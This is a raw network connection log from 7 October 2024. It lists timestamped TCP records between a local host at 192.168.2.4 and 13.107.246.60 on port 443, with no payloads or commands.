Oct 7, 2024 03:04:30.796230078 CEST	49977	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.796253920 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.796263933 CEST	443	49977	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.798613071 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.798676968 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.798753023 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.798861027 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.798890114 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.803097963 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.803415060 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.803425074 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.803826094 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.803833008 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.903104067 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.903337955 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.903424025 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.903604031 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.903618097 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.903630972 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.903637886 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.905863047 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.905910969 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:30.905987978 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.906119108 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:30.906127930 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.370654106 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.371309996 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.371329069 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.371921062 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.371928930 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.376364946 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.377582073 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.377890110 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.377912045 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.378283978 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.378290892 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.378489971 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.378509045 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.378840923 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.378849030 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.454669952 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.455425978 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.455486059 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.456033945 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.456047058 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.470611095 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.470985889 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.471097946 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.471132994 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.471132994 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.471148968 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.471158981 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.474227905 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.474248886 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.474320889 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.474456072 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.474464893 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.474807978 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.474955082 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.475023031 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.475086927 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.475086927 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.475116014 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.475141048 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.477389097 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.477442026 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.477519035 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.477643967 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.477658033 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.477973938 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.478030920 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.478136063 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.478158951 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.478212118 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.478271008 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.478271008 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.478303909 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.478327036 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.480510950 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.480521917 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.480601072 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.480717897 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.480727911 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.555479050 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.555639982 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.555835009 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.555913925 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.555913925 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.555948973 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.555973053 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.559093952 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.559134960 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.559225082 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.559390068 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.559406042 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.594743013 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.595487118 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.595547915 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.596107006 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.596165895 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.698270082 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.698318005 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.698436022 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.698509932 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.698510885 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.698642969 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.698642969 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.698684931 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.698713064 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.701603889 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.701647043 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:31.701745033 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.701886892 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:31.701915979 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.120836020 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.121690989 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.121720076 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.122745037 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.122750998 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.130544901 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.131706953 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.131727934 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.132165909 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.132172108 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.163495064 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.163919926 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.163929939 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.164433002 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.164436102 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.204279900 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.204647064 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.204682112 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.205262899 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.205269098 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.219113111 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.219259024 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.219429016 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.219429016 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.219429016 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.222104073 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.222189903 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.222273111 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.222433090 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.222470999 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.231116056 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.231174946 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.231225014 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.231235981 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.231395006 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.231395006 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.231406927 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.231488943 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.233555079 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.233594894 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.233669043 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.233822107 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.233849049 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265374899 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265434980 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265487909 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.265496969 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265609980 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265670061 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.265687943 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.265702963 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.265711069 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.265716076 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.267956018 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.268044949 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.268151045 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.268336058 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.268373013 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.387476921 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.387963057 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.388041019 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.388529062 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.388545036 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420492887 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420556068 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420623064 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.420653105 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420702934 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420758963 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.420869112 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.420882940 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.420900106 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.420906067 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.423573017 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.423652887 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.423738003 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.423904896 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.423933983 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.491070986 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.491120100 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.491214991 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.491245031 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.491413116 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.491519928 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.491564035 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.491595030 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.491609097 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.494471073 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.494558096 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.494664907 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.494848013 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.494884968 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.520996094 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.521025896 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.851083994 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.851772070 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.851835012 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.852129936 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.852144957 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.873831034 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.874198914 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.874243021 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.874531031 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.874545097 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.894553900 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.894988060 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.895004988 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.895363092 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.895373106 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.958897114 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.959028006 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.959314108 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.959315062 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.959315062 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.961983919 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.962079048 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.962186098 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.962342024 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.962378979 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.973201036 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.973345995 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.973423004 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.973486900 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.973488092 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.973517895 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.973542929 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.975482941 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.975529909 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.975590944 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.975732088 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.975749016 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.997267962 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.997404099 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.997478962 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.997517109 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.997517109 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.997533083 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.997550964 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.999460936 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.999552965 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:32.999633074 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.999747038 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:32.999779940 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.066627026 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.067032099 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.067049026 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.067449093 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.067454100 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.155160904 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.156047106 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.156089067 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.156501055 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.156508923 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.167413950 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.167651892 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.171073914 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.171130896 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.171150923 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.171163082 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.171169996 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.173657894 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.173742056 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.173856974 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.174012899 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.174037933 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.177248955 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.177313089 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.258671999 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.258717060 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.258800983 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.258865118 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.258903027 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.258932114 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.258968115 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.259005070 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.259005070 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.259035110 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.259057045 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.261357069 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.261423111 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.261508942 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.261657000 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.261691093 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.618613005 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.619169950 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.619205952 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.619621992 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.619631052 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.623867035 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.624157906 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.624238014 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.624488115 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.624505043 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.664923906 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.665440083 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.665498018 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.665884018 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.665894985 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.723119020 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.723185062 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.723210096 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.723263979 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.723319054 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.723349094 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.723372936 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.728116035 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.728179932 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.728249073 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.728281975 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.728374958 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.728382111 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.728388071 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.728450060 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.728513002 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.728530884 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.731472015 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.731542110 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.731828928 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.731829882 CEST	49999	443	192.168.2.4	13.107.246.60
